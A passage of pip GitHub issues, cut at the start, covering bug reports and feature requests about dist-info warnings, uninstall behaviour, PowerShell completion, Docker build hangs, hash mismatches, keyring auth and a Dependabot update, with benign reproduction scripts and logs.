currently I use this to log the dependencies that I have to install using other means
I would like to contribute to this issue and make a proper fix for this issue

### Additional context

we can make pip similar to [npm](https://docs.npmjs.com/cli/v6/commands/npm-install) for requirement handling.



### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Alphaviper7769
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12446: state: open
title: Warnings for skipped `<pkg>.dist-info` are unclear when `METADATA` file is missing
body: ### Description

When you uninstall a package with extra files (as described in #12445) you can end up in a bad state where `pip` warns due to the existence of an invalid `dist-info` directory e.g.

> WARNING: Skipping .venv/lib/python3.11/site-packages/idna-3.6.dist-info due to invalid metadata entry 'name'

However, this warning is shown in cases where there is no METADATA file at all and it's not clear how to resolve this as a user.

### Expected behavior

Instead of suggesting that the metadata has an invalid 'name', the warning should suggest that the dist-info is invalid

> WARNING: Skipping .venv/lib/python3.11/site-packages/idna-3.6.dist-info due to invalid due to missing `METADATA` file

Perhaps there's even a better user experience to be had here? Curious to hear others' thoughts.

### pip version

23.3.2

### Python version

3.11.4

### OS

macOS

### How to Reproduce

Here, we construct a bad dist-info entry manually though a user can get in this state accidentally without editing `site-packages`.

```bash
python -m venv .venv
source .venv/bin/activate
python -m pip install pip==23.3.2 > /dev/null 2>&1

set -eux

SITE_PACKAGES=$(python -c 'import site; print(site.getsitepackages()[0])')

# Create a bad dist-info entry
mkdir -p $SITE_PACKAGES/foo.dist-info
touch $SITE_PACKAGES/foo.dist-info/FOO

# Warning is not clear during `pip` command
pip list

rm -rf .venv
```

### Output

```
++ python -c 'import site; print(site.getsitepackages()[0])'
+ SITE_PACKAGES=.venv/lib/python3.11/site-packages
+ mkdir -p .venv/lib/python3.11/site-packages/foo.dist-info
+ touch .venv/lib/python3.11/site-packages/foo.dist-info/FOO

+ pip list
WARNING: Skipping .venv/lib/python3.11/site-packages/foo.dist-info due to invalid metadata entry 'name'
Package    Version
---------- -------
pip        23.3.2
setuptools 65.5.0

+ rm -rf .venv
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: zanieb
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12445: state: open
title: `pip uninstall -y <pkg>` should warn when an extra file will not be removed
body: ### Description

 `pip uninstall -y <pkg>` does not display warnings for files it does not remove, which means you can _think_ an uninstall was successful while you are left in a bad state due to lingering files. 

### Expected behavior

`pip uninstall -y <pkg>` should display warnings for files that are not removed. This information is already shown for `pip uninstall <pkg>`.

e.g.

```
WARNING: Did not remove `.venv/lib/python3.11/site-packages/idna-3.6.dist-info/FOO
```

### pip version

23.3.2

### Python version

3.11.4

### OS

macOS

### How to Reproduce

Here's a script to reproduce in a clean environment:

```bash
python -m venv .venv
source .venv/bin/activate
python -m pip install pip==23.3.2 > /dev/null 2>&1

set -eux

SITE_PACKAGES=$(python -c 'import site; print(site.getsitepackages()[0])')
pip install --no-cache idna==3.6 > /dev/null 2>&1

# Create an extra file, this is "silly" but you can end up in this state without touching `site-packages` manually
touch $SITE_PACKAGES/idna-3.6.dist-info/FOO

# Shows "would not remove" warning
yes | pip uninstall idna

pip install --no-cache idna==3.6 > /dev/null 2>&1

# Does not show warning
pip uninstall -y idna

rm -rf .venv
```

### Output

```
++ python -c 'import site; print(site.getsitepackages()[0])'
+ SITE_PACKAGES=.venv/lib/python3.11/site-packages
+ pip install --no-cache idna==3.6
+ touch .venv/lib/python3.11/site-packages/idna-3.6.dist-info/FOO
+ yes
+ pip uninstall idna
Found existing installation: idna 3.6
Uninstalling idna-3.6:
  Would remove:
    .venv/lib/python3.11/site-packages/idna-3.6.dist-info/*
    .venv/lib/python3.11/site-packages/idna/*
  Would not remove (might be manually added):
    .venv/lib/python3.11/site-packages/idna-3.6.dist-info/FOO
Proceed (Y/n)?   Successfully uninstalled idna-3.6
+ pip install --no-cache idna==3.6
+ pip uninstall -y idna
Found existing installation: idna 3.6
Uninstalling idna-3.6:
  Successfully uninstalled idna-3.6
+ rm -rf .venv
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: zanieb
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12440: state: open
title: Fix/improve argument completion for PowerShell 7.4+
body: ### What's the problem this feature will solve?

The current implementation hooks the legacy PowerShell function TabExpansion. This function *does not exist* in Powershell 7.4 and later.
![image](https://github.com/pypa/pip/assets/7243190/f8b368f5-9723-4225-a556-dc8bc7c73045)
The function was replaced by TabExpansion2. Completion/suggestion implementations are recommended to use the [`Register-ArgumentCompleter`](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/register-argumentcompleter?view=powershell-7.4) API which is in Windows PowerShell (5.1) and PowerShell Core (6.0 and later).

### Describe the solution you'd like

The `Register-ArgumentCompleter` function can be leveraged like so:
```pwsh
Register-ArgumentCompleter -Native -CommandName 'pip' -ScriptBlock {
    param(
        [string]$wordToComplete,
        [System.Management.Automation.Language.CommandAst]$commandAst,
        $cursorPosition
    )
    $Env:COMP_WORDS = $commandAst.ToString()
    $Env:COMP_CWORD = $commandAst.ToString().Split().Length - 1
    $Env:PIP_AUTO_COMPLETE = 1
    (& pip).Split() | ForEach-Object {
        [System.Management.Automation.CompletionResult]::new($_, $_, 'ParameterValue', $_)
    }
    Remove-Item Env:COMP_WORDS
    Remove-Item Env:COMP_CWORD
    Remove-Item Env:PIP_AUTO_COMPLETE
}
```
This can be appended to the user's `$PROFILE` script as-is, as a string executed by `Invoke-Expression`, or as a dot-sourced command invoking a script file (e.g. `. path/to/pip-completion.ps1)`.

_Unlike_ the old implementation, this does not override any built-in functions. The currently-unused `$cursorPosition` parameter can be leveraged for completion/suggestion at the *cursor's* position instead of only the last word in the `CommandAst`.

# Known Issues
- PowerShell assumes the returned completion(s) should replace the word at the cursor instead of the last word in the command. I'm not sure how to fix that without adding a `position` environment variable to the implementation in https://github.com/pypa/pip/blob/main/src/pip/_internal/cli/autocompletion.py

### Alternative Solutions

The provided solution works well enough for now. Additional functionality can be implemented later.

### Additional context

Improves upon #9025

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: BinToss
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12427: state: open
title: Update optimizer for lib versions and backuper for optimal and last working requirements
body: ### What's the problem this feature will solve?

I'm looking some option to update jupyter or other to this version where other installed libs will be compatible or updated to optmial versions, eg. force re-instal to older main app and related libs. Soo I need some "indication" to right version between all version.
Soo.. when update.. then probably pip should alert and inform possible conflicts and not install new version if older are incompatible in some iteration of update and ask that I'm sure that something can't work or list optimal version to update to minimize impact for some old libs, eg. list of suggested version to update where 75% libs are compatible as tools, etc. or 50%, 25% and of course.. 95% is most of desirable.
Right now I stuck.. fighting with pip to find some optimal version.. but how..

### Describe the solution you'd like

From my perspective should exist some tool that will be adequate do build info for:
`pip install -r requirements.txt --upgrade`
Eg, then tool can build many requirements.txt regarding compatibility range to select, eg.:
```
1_requirements_25_p.txt 
2_requirements_50_p.txt 
3_requirements_75_p.txt 
4_requirements_80_p.txt 
5_requirements_95_p.txt 
```
Then user can select 5 as prefix in file 5_requirements_95_p.txt and ok.. not working? Ok.. taking other version of requirements.
I know is big issue and most of out of scope from jupyter, but in fact jupyter is most of advanced env and application where user experiencing problems and doing bad efforts to find solution to repair env and app in case like this ticket.
Soo `5_requirements_95_p.txt` must have a conditions for version as < > =< >= that are optimal for update.
 

### Alternative Solutions

Should be compatible with some GUI manager. Eg. dir in pip like `requirements/` where can be requirements for some updating app eg. `requirements/jupyter/requirements_versions.txt` then inside other
```
1_requirements_25_p.txt 
2_requirements_50_p.txt 
3_requirements_75_p.txt 
4_requirements_80_p.txt 
5_requirements_95_p.txt 
```

### Additional context

https://github.com/jupyter/notebook/issues/7177#event-11172364035

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).

```[tasklist]
### Tasks
- [ ] Check libs conditions before update
- [ ] Build list of possible requirements that update touching requirements_list.txt in requirements/lib_name_to_update/ requirements_list.txt
- [ ] Find conditions for requirements_list.txt to build optimal lib versions to update or select for user, eg. many: 1_requirements_25_p.txt 
- [ ] Give option to select optimal network of libs to update
- [ ] Create requirements_backup_date.txt to force re-install all previous libs
- [ ] Give option to summary after update about updated libs as some table
```

Not sure about: https://github.com/jazzband/pip-tools/
 


user: ManPython
labels: S: awaiting response: Waiting for a response/more information
type: feature request: Request for a new feature
issue_12426: state: open
title: Install hangs when installing local package from root directory
body: ### Description

We have a Dockerfile for our project which has successfully built Docker images of the package until a change we made away from `setup.py` to `pyproject.toml` 7 days ago. 

This issue occurs on an attempt locally to build the image and in AWS CodeBuild.

Project repo: https://github.com/arup-group/genet

The `pip install [options] .` step gets stuck at this stage:

```
Step 8/8 : RUN pip3 install --no-cache-dir --compile -e . && pip cache purge
 ---> Running in 921fd92eb695
Obtaining file:///
  Installing build dependencies: started
  Installing build dependencies: finished with status 'done'
  Checking if build backend supports build_editable: started
  Checking if build backend supports build_editable: finished with status 'done'
  Getting requirements to build editable: started
```

Tests locally in which I change the options on the `pip` call lead to the same result. That is, there is no difference between `pip install .` and `pip3 install --no-cache-dir --compile -e .`.

Running this same command _outside_ Docker works as expected (e.g., our github CI runs fine). It is only within Docker that we have the issue.

This might be better placed as an issue in https://github.com/pypa/setuptools/ or https://github.com/pypa/build. If running `pip install build && python -m build`, the build hangs at an equivalent place but with a slightly different log message ("Getting build dependencies for sdist").

### Expected behavior

Docker image builds successfully in a matter of minutes and the `Getting requirements to build editable` step takes <1 second (as it does outside the Docker build).

### pip version

23.3.1 (also tried with 22.x amd 23.2.x)

### Python version

3.11.4 (also tried with 3.10)

### OS

MacOS / Linux

### How to Reproduce

1. Clone https://github.com/arup-group/genet
2. Attempt to build Docker image (`docker build -t genet:latest`)

### Output

```
Step 5/8 : RUN /usr/local/bin/python -m pip install --no-cache-dir --compile --upgrade pip
---> Running in 79bc03d7ae7e
Requirement already satisfied: pip in /usr/local/lib/python3.11/site-packages (23.1.2)
Collecting pip
 Downloading pip-23.3.1-py3-none-any.whl (2.1 MB)
    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 183.8 MB/s eta 0:00:00
Installing collected packages: pip
 Attempting uninstall: pip
   Found existing installation: pip 23.1.2
   Uninstalling pip-23.1.2:
     Successfully uninstalled pip-23.1.2
Successfully installed pip-23.3.1
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
---> 6ab71c69ea81
Removing intermediate container 79bc03d7ae7e
Step 6/8 : COPY . .
---> 93f02cf9e287
Step 7/8 : RUN pip3 install cmake>=3
---> Running in bd21027f20ba
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
---> 491faa040400
Removing intermediate container bd21027f20ba
Step 8/8 : RUN pip3 install --no-cache-dir --compile -e . && pip cache purge
---> Running in 921fd92eb695
Obtaining file:///
 Installing build dependencies: started
 Installing build dependencies: finished with status 'done'
 Checking if build backend supports build_editable: started
 Checking if build backend supports build_editable: finished with status 'done'
 Getting requirements to build editable: started
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: brynpickering
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12424: state: open
title: Python packages hash not matching whilst installing using pip package fails hash check
body: ### Description

The following requirements package fails to install
`pip3 install boto3`

With package fails hash check error 
 ERROR: THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE.

### Expected behavior

boto3 packages must be installed with pip.

### pip version

23.1.2

### Python version

3.7

### OS

Debian GNU/Linux 10 (buster)

### How to Reproduce

1. Install boto3 package 
`root@buildhost:/mnt# pip3 install boto3`

2. package fails, a hash check error occurred.
```
    ERROR: THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated the package versions, please update the hashes. Otherwise, examine the package contents carefully; someone may have tampered with them.
    botocore<1.34.0,>=1.33.7 from https://www.piwheels.org/simple/botocore/botocore-1.33.7-py3-none-any.whl#sha256=afd25654101b8d13a01309fe7163009626a8e85ebcb0c6cabf4001bbfbb1c642 (from boto3):
        Expected sha256 afd25654101b8d13a01309fe7163009626a8e85ebcb0c6cabf4001bbfbb1c642
             Got        7985da9ee5f298d54d551add307b34b22a26a8f43847bb6141fc61ca3b5af3c5

```

### Output

```
root@buildhost:/mnt# pip3 install boto3
Looking in indexes: https://pypi.org/simple, https://www.piwheels.org/simple
Collecting boto3
  Using cached https://www.piwheels.org/simple/boto3/boto3-1.33.7-py3-none-any.whl (136 kB)
Collecting botocore<1.34.0,>=1.33.7 (from boto3)
  Downloading https://www.piwheels.org/simple/botocore/botocore-1.33.7-py3-none-any.whl (11.8 MB)
     ━━━━━━━━━━╸━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 3.1/11.8 MB 66.4 kB/s eta 0:02:11
ERROR: THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated the package versions, please update the hashes. Otherwise, examine the package contents carefully; someone may have tampered with them.
    botocore<1.34.0,>=1.33.7 from https://www.piwheels.org/simple/botocore/botocore-1.33.7-py3-none-any.whl#sha256=afd25654101b8d13a01309fe7163009626a8e85ebcb0c6cabf4001bbfbb1c642 (from boto3):
        Expected sha256 afd25654101b8d13a01309fe7163009626a8e85ebcb0c6cabf4001bbfbb1c642
             Got        7985da9ee5f298d54d551add307b34b22a26a8f43847bb6141fc61ca3b5af3c5

```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: fti-sfuke
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12423: state: open
title: `--keyring-provider` does not work with `build-system.requires`
body: ### Description

We are using Google Artifact Registry to install packages. Using a combination of `--no-input` and `--keyring-provider=import` works for installing wheels from GAR, but it does not work when installing a package from source as the requirements in the `build-system.requires` does not use the keyring auth.

### Expected behavior

When pip install requirements for `build-system.requires`, it should use the same keyring behavior as installing a package normally.

### pip version

23.3.1

### Python version

3.10.13 (Docker, official image)

### OS

Debian Bullseye (Docker, official image)

### How to Reproduce

1. Add a private repo that requires keyring auth to pip config:

```
[global]
index-url = https://url/to/repo
```

2. Install keyring and setup keyring auth (example with Google Artifact Registry)

```bash
pip install keyring keyrings-google-artifactregistry-auth
```

3. Verify keyring auth is working with `--no-input` (install package with wheel)

```bash
pip install --no-input --keyring-provider=import requests
```

4. Try to install a package from source/tarball. `flake8-mutable` looks like it works as a test package as it does not have a wheel, but you can pip install a source directory as well.

```bash
pip install --no-input --keyring-provider=import flake8-mutable
```

### Output

```
  × python setup.py egg_info did not run successfully.
  │ exit code: 1
  ╰─> [35 lines of output]
      /usr/local/lib/python3.10/site-packages/setuptools/installer.py:27: SetuptoolsDeprecationWarning: setuptools.installer is deprecated. Requirements should be satisfied by a PEP 517 installer.
        warnings.warn(
      ERROR: Could not find a version that satisfies the requirement pytest-runner (from versions: none)
      ERROR: No matching distribution found for pytest-runner
      Traceback (most recent call last):
        File "/usr/local/lib/python3.10/site-packages/setuptools/installer.py", line 82, in fetch_build_egg
          subprocess.check_call(cmd)
        File "/usr/local/lib/python3.10/subprocess.py", line 369, in check_call
          raise CalledProcessError(retcode, cmd)
      subprocess.CalledProcessError: Command '['/usr/local/bin/python', '-m', 'pip', '--disable-pip-version-check', 'wheel', '--no-deps', '-w', '/tmp/tmp01v07qq3', '--quiet', 'pytest-runner']' returned non-zero exit status 1.

      The above exception was the direct cause of the following exception:

      Traceback (most recent call last):
        File "<string>", line 2, in <module>
        File "<pip-setuptools-caller>", line 34, in <module>
        File "/tmp/pip-install-35h5zefc/flake8-mutable_09876f5ce1344b51b1270e2d9407a954/setup.py", line 5, in <module>
          setuptools.setup(
        File "/usr/local/lib/python3.10/site-packages/setuptools/__init__.py", line 86, in setup
          _install_setup_requires(attrs)
        File "/usr/local/lib/python3.10/site-packages/setuptools/__init__.py", line 80, in _install_setup_requires
          dist.fetch_build_eggs(dist.setup_requires)
        File "/usr/local/lib/python3.10/site-packages/setuptools/dist.py", line 875, in fetch_build_eggs
          resolved_dists = pkg_resources.working_set.resolve(
        File "/usr/local/lib/python3.10/site-packages/pkg_resources/__init__.py", line 789, in resolve
          dist = best[req.key] = env.best_match(
        File "/usr/local/lib/python3.10/site-packages/pkg_resources/__init__.py", line 1075, in best_match
          return self.obtain(req, installer)
        File "/usr/local/lib/python3.10/site-packages/pkg_resources/__init__.py", line 1087, in obtain
          return installer(requirement)
        File "/usr/local/lib/python3.10/site-packages/setuptools/dist.py", line 945, in fetch_build_egg
          return fetch_build_egg(self, req)
        File "/usr/local/lib/python3.10/site-packages/setuptools/installer.py", line 84, in fetch_build_egg
          raise DistutilsError(str(e)) from e
      distutils.errors.DistutilsError: Command '['/usr/local/bin/python', '-m', 'pip', '--disable-pip-version-check', 'wheel', '--no-deps', '-w', '/tmp/tmp01v07qq3', '--quiet', 'pytest-runner']' returned non-zero exit status 1.
      [end of output]
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: AngellusMortis
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12422: state: open
title: pip attempt to uninstall a system package when installing the same package in --prefix
body: ### Description

When installing a package that also exists in the system site packages to `--prefix`, `pip` tries to delete the system package.
This does not happen when installing using a virtual environment.

See also #4337.

An additional problem is that `pip` reports on stderr:
```
ERROR: Could not install packages due to an OSError.
Consider using the `--user` option or check the permissions.
```
This may confuse some users, since `--user` and `--prefix` are incompatible.

See also the `Invalid cross-device link` error.

Thanks.

### Expected behavior

```
Installing collected packages: flit
  Attempting uninstall: flit
    Found existing installation: flit 3.9.0
    Not uninstalling flit at /usr/lib/python3.11/site-packages, outside environment /tmp/000
    Can't uninstall 'flit'. No files were found to uninstall.
  changing mode of /tmp/000/bin/flit to 755
Successfully installed flit-3.9.0
```

This is the message when installing to a virtual environment:
`$ pip --python /tmp/000 install .`


### pip version

23.3.1

### Python version

3.11.6

### OS

Linux

### How to Reproduce

Assuming `flit` is installed in the system site packages:

```sh
$ git clone https://github.com/pypa/flit.git
$ cd flit
$ pip install --prefix /tmp/prefix .
```

pip.conf:
```ini
[global]
verbose = 1

[install]
# Arch Linux always have the latest packages
no-build-isolation = false
```

### Output

```
Using pip 23.3.1 from /usr/lib/python3.11/site-packages/pip (python 3.11)
Processing /code/git/github.com/pypa/flit
  Running command Preparing metadata (pyproject.toml)
  Preparing metadata (pyproject.toml) ... done
Requirement already satisfied: flit_core>=3.9.0 in /usr/lib/python3.11/site-packages (from flit==3.9.0) (3.9.0)
Requirement already satisfied: requests in /usr/lib/python3.11/site-packages (from flit==3.9.0) (2.31.0)
Requirement already satisfied: docutils in /usr/lib/python3.11/site-packages (from flit==3.9.0) (0.20.1)
Requirement already satisfied: tomli-w in /usr/lib/python3.11/site-packages (from flit==3.9.0) (1.0.0)
Requirement already satisfied: charset-normalizer<4,>=2 in /usr/lib/python3.11/site-packages (from requests->flit==3.9.0) (3.3.2)
Requirement already satisfied: idna<4,>=2.5 in /usr/lib/python3.11/site-packages (from requests->flit==3.9.0) (3.4)
Requirement already satisfied: urllib3<3,>=1.21.1 in /usr/lib/python3.11/site-packages (from requests->flit==3.9.0) (1.26.18)
Building wheels for collected packages: flit
  Running command Building wheel for flit (pyproject.toml)
  Building wheel for flit (pyproject.toml) ... done
  Created wheel for flit: filename=flit-3.9.0-py3-none-any.whl size=50538 sha256=ff026101c73cb9950dd03794fd7625ea305b917b986fbab43806879634b4e058
  Stored in directory: /tmp/pip-ephem-wheel-cache-j826qwqg/wheels/35/77/ff/b353c2e24da9f2c4f836bc47a66e6077ecbeae68c7280ce1f1
Successfully built flit
Installing collected packages: flit
  Attempting uninstall: flit
    Found existing installation: flit 3.9.0
    Uninstalling flit-3.9.0:
ERROR: Could not install packages due to an OSError.
Consider using the `--user` option or check the permissions.
Traceback (most recent call last):
  File "/usr/lib/python3.11/shutil.py", line 825, in move
    os.rename(src, real_dst)
OSError: [Errno 18] Invalid cross-device link: '/usr/bin/flit' -> '/tmp/pip-uninstall-kuhdsrsc/flit'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/lib/python3.11/site-packages/pip/_internal/commands/install.py", line 452, in run
    installed = install_given_reqs(
                ^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/site-packages/pip/_internal/req/__init__.py", line 67, in install_given_reqs
    uninstalled_pathset = requirement.uninstall(auto_confirm=True)
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/site-packages/pip/_internal/req/req_install.py", line 725, in uninstall
    uninstalled_pathset.remove(auto_confirm, verbose)
  File "/usr/lib/python3.11/site-packages/pip/_internal/req/req_uninstall.py", line 381, in remove
    moved.stash(path)
  File "/usr/lib/python3.11/site-packages/pip/_internal/req/req_uninstall.py", line 272, in stash
    renames(path, new_path)
  File "/usr/lib/python3.11/site-packages/pip/_internal/utils/misc.py", line 362, in renames
    shutil.move(old, new)
  File "/usr/lib/python3.11/shutil.py", line 846, in move
    os.unlink(src)
PermissionError: [Errno 13] Permission denied: '/usr/bin/flit'
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: perillo
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12420: state: open
title: Bump dessant/lock-threads from 4 to 5
body: Bumps [dessant/lock-threads](https://github.com/dessant/lock-threads) from 4 to 5.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a href="https://github.com/dessant/lock-threads/releases">dessant/lock-threads's releases</a>.</em></p>
<blockquote>
<h2>v5.0.0</h2>
<p>Learn more about this release from the <a href="https://github.com/dessant/lock-threads/blob/main/CHANGELOG.md#changelog">changelog</a>.</p>
<h2>v4.0.1</h2>
<p>Learn more about this release from the <a href="https://github.com/dessant/lock-threads/blob/main/CHANGELOG.md#changelog">changelog</a>.</p>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a href="https://github.com/dessant/lock-threads/blob/main/CHANGELOG.md">dessant/lock-threads's changelog</a>.</em></p>
<blockquote>
<h2><a href="https://github.com/dessant/lock-threads/compare/v4.0.1...v5.0.0">5.0.0</a> (2023-11-14)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>Discussions are also processed by default,
set the <code>process-only</code> input parameter to preserve the old behavior</li>
</ul>
<pre lang="yaml"><code>    steps:
      - uses: dessant/lock-threads@v5
        with:
          process-only: 'issues, prs'
</code></pre>
<ul>
<li>the action now requires Node.js 20</li>
</ul>
<h3>Features</h3>
<ul>
<li>lock discussions (<a href="https://github.com/dessant/lock-threads/commit/0a0976f3ded51c88c6128dd96dd115c9f14fa764">0a0976f</a>), closes <a href="https://redirect.github.com/dessant/lock-threads/issues/25">#25</a></li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li>update dependencies (<a href="https://github.com/dessant/lock-threads/commit/5a25b54eae3e7a5580d09ef0f7cbc5b18376db67">5a25b54</a>)</li>
</ul>
<h3><a href="https://github.com/dessant/lock-threads/compare/v4.0.0...v4.0.1">4.0.1</a> (2023-06-12)</h3>
<h3>Bug Fixes</h3>
<ul>
<li>retry and throttle GitHub API requests (<a href="https://github.com/dessant/lock-threads/commit/1618e91da69b9fe614fb9837ac673ea4600eb529">1618e91</a>), closes <a href="https://redirect.github.com/dessant/lock-threads/issues/35">#35</a></li>
</ul>
<h2><a href="https://github.com/dessant/lock-threads/compare/v3.0.0...v4.0.0">4.0.0</a> (2022-12-04)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>the action now requires Node.js 16</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li>update dependencies (<a href="https://github.com/dessant/lock-threads/commit/38e918558115222435d26c0639870cdbe3572929">38e9185</a>)</li>
<li>update docs (<a href="https://github.com/dessant/lock-threads/commit/32986e26965060a85db09e98ef7e5958c961ae84">32986e2</a>)</li>
</ul>
<h2><a href="https://github.com/dessant/lock-threads/compare/v2.1.2...v3.0.0">3.0.0</a> (2021-09-27)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>input parameter names have changed</li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a href="https://github.com/dessant/lock-threads/commit/1bf7ec25051fe7c00bdd17e6a7cf3d7bfb7dc771"><code>1bf7ec2</code></a> chore(release): 5.0.1</li>
<li><a href="https://github.com/dessant/lock-threads/commit/adf4aa5f8a0d18d97dd60dd54220a9df27170c75"><code>adf4aa5</code></a> chore: update package</li>
<li><a href="https://github.com/dessant/lock-threads/commit/0a6367823273242f373440ac6d682e4f368a347f"><code>0a63678</code></a> fix: support filtering threads by labels with spaces</li>
<li><a href="https://github.com/dessant/lock-threads/commit/d42e5f49803f3c4e14ffee0378e31481265dda22"><code>d42e5f4</code></a> chore(release): 5.0.0</li>
<li><a href="https://github.com/dessant/lock-threads/commit/d8da6c1485cbe748b5b632f1a52cf2a52941cbf9"><code>d8da6c1</code></a> chore: update package</li>
<li><a href="https://github.com/dessant/lock-threads/commit/c1eab4b45f97073a922fbd226afab0e34a70cf5f"><code>c1eab4b</code></a> chore: update workflow</li>
<li><a href="https://github.com/dessant/lock-threads/commit/0a0976f3ded51c88c6128dd96dd115c9f14fa764"><code>0a0976f</code></a> feat: lock discussions</li>
<li><a href="https://github.com/dessant/lock-threads/commit/53f3f0c0b9158bece84746885adc5f4bf2dd1ddc"><code>53f3f0c</code></a> chore: migrate package to ESM</li>
<li><a href="https://github.com/dessant/lock-threads/commit/5a25b54eae3e7a5580d09ef0f7cbc5b18376db67"><code>5a25b54</code></a> fix: update dependencies</li>
<li>See full diff in <a href="https://github.com/dessant/lock-threads/compare/v4...v5">compare view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=dessant/lock-threads&package-manager=github_actions&previous-version=4&new-version=5)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

You can trigger a rebase of this PR by commenting `@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)


</details>

> **Note**
> Automatic rebases have been disabled on this pull request as it has been open for over 30 days.

user: dependabot[bot]
labels: C: dependency resolution: About choosing which dependencies to install
issue_12419: state: open
title: PEP517 build adds include directory from the original not-isolated environment
body: ### Description

inside some virtual environment `foo`, build a package that uses setuptools and a C extension.  eg
```console
$ pip wheel --no-cache-dir --use-pep517 --verbose --no-binary turbodbc "turbodbc (==4.9.0)"
```

observe that among the include directories passed to the compiler is `-I/home/dch/.virtualenvs/foo/include` which is from that original environment `foo`, not from the isolated environment.

### Expected behavior

the include directory should be associated with the temporary isolated environment.

in contrast if you download the package from https://files.pythonhosted.org/packages/b6/12/e5e6dbdb42df256f1c5eebdb99abfe3bc4aa5fe6894cb495120b1c88c076/turbodbc-4.9.0.tar.gz, unpack it, and then `python -m build`, then the corresponding include directory is passed as eg `-I/tmp/build-env-m0gbyo0y/include`

both are I assume derived from https://github.com/pypa/setuptools/blob/382e617aca75f581a1bac9a6ca19150f672bb453/setuptools/_distutils/command/build_ext.py#L161, I've no idea what the difference is that causes one to think that the original environment is the one that's wanted, while the other decides that it is the isolated environment.

### pip version

23.2.1

### Python version

3.12

### OS

ubuntu 22

### How to Reproduce

see above

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: dimbleby
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12415: state: open
title: Fix tests when NO_COLOR is set in the calling environment
body: Add `FORCE_COLOR` and `NO_COLOR` variables to the `isolate()` fixture to ensure that these two variables do not affect internal test output. This fixes the following two test failures when pytest is called with `NO_COLOR` set:

```
FAILED tests/unit/test_exceptions.py::TestDiagnosticPipErrorPresentation_ASCII::test_complete_color - AssertionError: assert '\x1b[1merror...ing harder.\n' == '\x1b[1;31mer...ing harder.\n'
FAILED tests/unit/test_exceptions.py::TestDiagnosticPipErrorPresentation_Unicode::test_complete_color - AssertionError: assert '\x1b[1merror...ing harder.\n' == '\x1b[1;31mer...ing harder.\n'
```
